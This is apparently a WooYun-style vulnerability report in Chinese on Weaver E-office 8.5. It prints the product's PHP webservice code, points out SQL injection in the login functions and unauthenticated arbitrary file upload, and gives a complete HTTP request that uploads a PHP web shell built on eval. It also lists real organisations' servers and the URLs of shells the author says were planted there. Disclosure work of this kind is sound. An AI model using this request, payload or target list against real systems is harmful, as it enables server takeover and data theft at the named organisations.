泛微E-office 3处sql注射(ROOT SHELL)/2处任意文件上传

漏洞作者: menmen519

详细说明:

看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码


经过一阵子的翻阅,发现和webservice 并行的目录也存在越权行为,代码结构类似:

08010735a68e277f00f894437794434a352c58ba[1]

第一个目录

webservice-json/login/login.wsdl.php:

function UserLogin( $UserName, $Password )

{

				$loginStatus = array( );

				if ( trim( $UserName ) == "" )

				{

								$loginStatus['status'] = "false";

								$loginStatus['infor'] = "用户名为空";

								return $loginStatus;

				}

				$user = new user( );

				if ( $user->CheckUserAccount( $UserName ) == false )

				{

								$loginStatus['status'] = "false";

								$loginStatus['infor'] = "用户名不存在";

								return $loginStatus;

				}

				$userID = $user->getUserIDByUserAccount( $UserName );

				if ( $user->checkOldPassword( $userID, $Password ) == false )

				{

								$loginStatus['status'] = "false";

								$loginStatus['infor'] = "密码错误";

								return $loginStatus;

				}

				global $connection;

				$query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'";

				$cursor = exequery( $connection, $query );

				$ROW = mysql_fetch_array( $cursor );

				$timenow = time( );

				$CUR_TIME = date( "Y-m-d H:i:s", $timenow );

				$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";

				exequery( $connection, $query );

				session_start( );

				$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];

				$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];

				$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];

				$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];

				$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];

				$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];

				$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];

				$loginStatus['status'] = "true";

				$loginStatus['infor'] = $ROW['USER_ID'];

				$loginStatus['session_key'] = session_id( );

				return $loginStatus;

}



function UserIDLogin( $UserId )

{

				global $connection;

				$infor = array( );

				$sql = "SELECT COUNT(*) FROM USER WHERE USER_ID='".$UserId."'";

				$cursor = exequery( $connection, $sql );

				if ( $ROW = mysql_fetch_array( $cursor ) )

				{

								$count = $ROW[0];

				}

				if ( 0 < $count )

				{

								$timenow = time( );

								$CUR_TIME = date( "Y-m-d H:i:s", $timenow );

								$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$UserId."'";

								exequery( $connection, $query );

								session_start( );

								$infor['session_key'] = session_id( );

								$infor['status'] = "true";

				}

				else

				{

								$infor['status'] = "false";

								$infor['session_key'] = "";

				}

				return $infor;

}



function GetCurrentInformation( $UserId )

{

				global $connection;

				$infor = array( );

				if ( $UserId != "" )

				{

								global $connection;

								$user = new user( );

								$sql = "SELECT * FROM USER WHERE USER_ID='".$UserId."'";

								$result = exequery( $connection, $sql );

								if ( $row = mysql_fetch_assoc( $result ) )

								{

												$infor = $row;

												$priv = $row['USER_PRIV']( $row['USER_PRIV'] );

												$infor['priv_name'] = $priv['PRIV_NAME'];

												$dept = $row['DEPT_ID']( $row['DEPT_ID'] );

												$infor['dept_name'] = $dept['DEPT_NAME'];

												$infor['check'] = "true";

												if ( $row['USER_STATUS'] == "1" )

												{

																$infor['status'] = "在职";

												}

												else

												{

																if ( $row['USER_STATUS'] == "2" )

																{

																				$infor['status'] = "离职";

																}

												}

								}

				}

				else

				{

								$infor['check'] = "false";

				}

				return json_encode( $infor );

}



include_once( "nusoap/lib/nusoap.php" );

include_once( "api/user.class.php" );

include_once( "inc/conn.php" );

$server = new soap_server( );

$server->soap_defencoding = "UTF-8";

$server->decode_utf8 = false;

$server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" );

$server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl";

$server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) );

$server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" );

$server->wsdl->addComplexType( "IDcheck", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "session_key" => array( "name" => "session_key", "type" => "xsd:string" ) ) );

$server->register( "UserIDLogin", array( "UserId" => "xsd:string" ), array( "return" => "tns:IDcheck" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserIDLogin", "rpc", "encoded", "UserIDLogin" );

$server->register( "GetCurrentInformation", array( "UserId" => "xsd:string" ), array( "return" => "xsd:string" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#GetCurrentInformation", "rpc", "encoded", "GetCurrentInformation" );

$server->service( $HTTP_RAW_POST_DATA );

?>

 

代码结构,风格都一样,漏洞请参照

http://www.wooyun.org/bugs/wooyun-2015-0125281/trace/288315217e38c991a819ae7415cd1926


webservice-json/upload/upload.php:

include_once( "inc/utility_all.php" );

$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );

$extension = $pathInfor['extension'];

$role = UPLOADROLE;

$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;

if ( !( $pos === false ) )

{

				echo "false";

}

else

{

				$attachmentID = createfiledir( );

				global $ATTACH_PATH;

				$path = $ATTACH_PATH.$attachmentID;

				if ( !file_exists( $path ) )

				{

								mkdir( $path, 448 );

				}

				$attachmentName = $_FILES['file']['tmp_name'];

				$fileName = $path."/".$_FILES['file']['name'];

				$fileName = iconv( "UTF-8", "GBK", $fileName );

				move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );

				if ( !file_exists( $fileName ) )

				{

								echo "false";

				}

				else

				{

								echo $attachmentID."*".$_FILES['file']['name'];

				}

}

?>
 

漏洞参照:

http://www.wooyun.org/bugs/wooyun-2015-0125265/trace/efd66a6faa58a6bf64582d7de9f26b1b


同理:

webservice-xml/login/login.wsdl.php

webservice-xml/upload/upload.php



内容一样 原理同上

这里证明一下这些文件在最新的e-office 存在即可

http://oa.sccm.cn/webservice-xml/login/login.wsdl.php

http://oa.vma.cn/webservice-xml/login/login.wsdl.php

http://eoffice.sccm.cn/webservice-xml/login/login.wsdl.php

http://eoffice8.weaver.cn:8028/webservice-xml/login/login.wsdl.php

http://oa.sccm.cn/webservice-xml/upload/upload.php

http://oa.vma.cn/webservice-xml/upload/upload.php

http://eoffice.sccm.cn/webservice-xml/upload/upload.php

http://eoffice8.weaver.cn:8028/webservice-xml/upload/upload.php

http://oa.sccm.cn/webservice-json/upload/upload.php

http://oa.vma.cn/webservice-json/upload/upload.php

http://eoffice.sccm.cn/webservice-json/upload/upload.php

http://eoffice8.weaver.cn:8028/webservice-json/upload/upload.php



看了wooyun个大牛发的这个产品的漏洞,感觉版本都过低,这里我发一个8.5的版本,里面新增了webservice的相关操作 下来看代码

webservice/login/login.wsdl.php?wsdl:

function UserLogin( $UserName, $Password )

{

				$loginStatus = array( );

				if ( trim( $UserName ) == "" )

				{

								$loginStatus['status'] = "false";

								$loginStatus['infor'] = "用户名为空";

								return $loginStatus;

				}

				$user = new user( );

				if ( $user->CheckUserAccount( $UserName ) == false )

				{

								$loginStatus['status'] = "false";

								$loginStatus['infor'] = "用户名不存在";

								return $loginStatus;

				}

				$userID = $user->getUserIDByUserAccount( $UserName );

				if ( $user->checkOldPassword( $userID, $Password ) == false )

				{

								$loginStatus['status'] = "false";

								$loginStatus['infor'] = "密码错误";

								return $loginStatus;

				}

				global $connection;

				$query = "SELECT * from USER where USER_ACCOUNTS='{$UserName}'";

				$cursor = exequery( $connection, $query );

				$ROW = mysql_fetch_array( $cursor );

				$timenow = time( );

				$CUR_TIME = date( "Y-m-d H:i:s", $timenow );

				$query = "update USER set LAST_VISIT_TIME='{$CUR_TIME}' where USER_ID='".$ROW['USER_ID']."'";

				exequery( $connection, $query );

				session_start( );

				$_SESSION['LOGIN_USER_ID'] = $ROW['USER_ID'];

				$_SESSION['LOGIN_PASSWORD'] = $ROW['PASSWORD'];

				$_SESSION['LOGIN_POST_PRIV'] = $ROW['POST_PRIV'];

				$_SESSION['LOGIN_USER_ACCOUNTS'] = $ROW['USER_ACCOUNTS'];

				$_SESSION['LOGIN_USER_NAME'] = $ROW['USER_NAME'];

				$_SESSION['LOGIN_USER_PRIV'] = $ROW['USER_PRIV'];

				$_SESSION['LOGIN_DEPT_ID'] = $ROW['DEPT_ID'];

				$loginStatus['status'] = "true";

				$loginStatus['infor'] = $ROW['USER_ID'];

				return $loginStatus;

}



include_once( "nusoap/lib/nusoap.php" );

include_once( "api/user.class.php" );

include_once( "inc/conn.php" );

$server = new soap_server( );

$server->soap_defencoding = "UTF-8";

$server->decode_utf8 = false;

$server->configureWSDL( "LoginServicewsdl", "urn:LoginServicewsdl" );

$server->wsdl->schemaTargetNamespace = "urn:LoginServicewsdl";

$server->wsdl->addComplexType( "loginStatus", "complexType", "struct", "all", "", array( "status" => array( "name" => "status", "type" => "xsd:string" ), "infor" => array( "name" => "infor", "type" => "xsd:string" ) ) );

$server->register( "UserLogin", array( "UserName" => "xsd:string", "Password" => "xsd:string" ), array( "return" => "tns:loginStatus" ), "urn:LoginServicewsdl", "urn:LoginServicewsdl#UserLogin", "rpc", "encoded", "UserLogin" );

$server->service( $HTTP_RAW_POST_DATA );

?>
 

http://eoffice.sccm.cn/webservice/login/login.wsdl.php?wsdl

这个文件也没有进行任何auth验证:

080055109c9dbe314d98e218b440f9c9797b1a83[1]

我们访问:

http://eoffice.sccm.cn/attachment/1.php

原理都相同,不多赘述

http://oa.sccm.cn//webservice/eoffice.wsdl.php?wsdl

http://oa.vma.cn/webservice/eoffice.wsdl.php?wsdl

http://eoffice.sccm.cn/webservice/eoffice.wsdl.php?wsdl



http://eoffice8.weaver.cn:8028/webservice/eoffice.wsdl.php?wsdl



任意文件上传:

下来看代码:

webservice/upload.php

include_once( "inc/utility_all.php" );

$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );

$extension = $pathInfor['extension'];

$role = UPLOADROLE;

$attachmentID = createfiledir( );

global $ATTACH_PATH;

$path = $ATTACH_PATH.$attachmentID;

if ( !file_exists( $path ) )

{

				mkdir( $path, 448 );

}

$attachmentName = $_FILES['file']['tmp_name'];

$fileName = $path."/".$_FILES['file']['name'];

$fileName = iconv( "UTF-8", "GBK", $fileName );

move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );

if ( !file_exists( $fileName ) )

{

				echo "false";

}

else

{

				echo $attachmentID."*".$_FILES['file']['name'];

}

 

文件上传条件:



1.无需登录

2.文件的路径为attachment/$attachmentID 这里的$attachmentID 会被回显过来

3.无需后缀验证



发送如下请求:

POST /webservice/upload.php HTTP/1.1

Host: eoffice.sccm.cn

User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: multipart/form-data; boundary=---------------------------74141544123431

Content-Length: 818



-----------------------------74141544123431

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: image/jpeg



<?php phpinfo();@eval($_POST['chopper']);?>

-----------------------------74141544123431--

 

072259398424633bd1d272d1d8c9a2ed9c47a62e[1]

shell

07230008dfaddf8957cf54cea05ef6cbbf9b170f[1]

案例:

http://oa.sccm.cn/

http://oa.vma.cn/attachment/2754969047/wooyun.php

http://eoffice.sccm.cn/attachment/2070630318/wooyun.php

eoffice8.weaver.cn:8028/attachment/1002074664/wooyun.php



其中最后一个官网设置了目录访问权限,所以不能访问那个文件但是文件已经上传上去了,这种情况,如果有特殊说明,必须告知用户,否则后果很严重



第二处:

webservice/upload/upload.php:

include_once( "inc/utility_all.php" );

$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );

$extension = $pathInfor['extension'];

$role = UPLOADROLE;

$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;

if ( !( $pos === false ) )

{

				echo "false";

}

else

{

				$attachmentID = createfiledir( );

				global $ATTACH_PATH;

				$path = $ATTACH_PATH.$attachmentID;

				if ( !file_exists( $path ) )

				{

								mkdir( $path, 448 );

				}

				$attachmentName = $_FILES['file']['tmp_name'];

				$fileName = $path."/".$_FILES['file']['name'];

				$fileName = iconv( "UTF-8", "GBK", $fileName );

				move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );

				if ( !file_exists( $fileName ) )

				{

								echo "false";

				}

				else

				{

								echo $attachmentID."*".$_FILES['file']['name'];

				}

}

?>

 

代码很相似,绕一下逻辑即可,原理就不用解释了

发表评论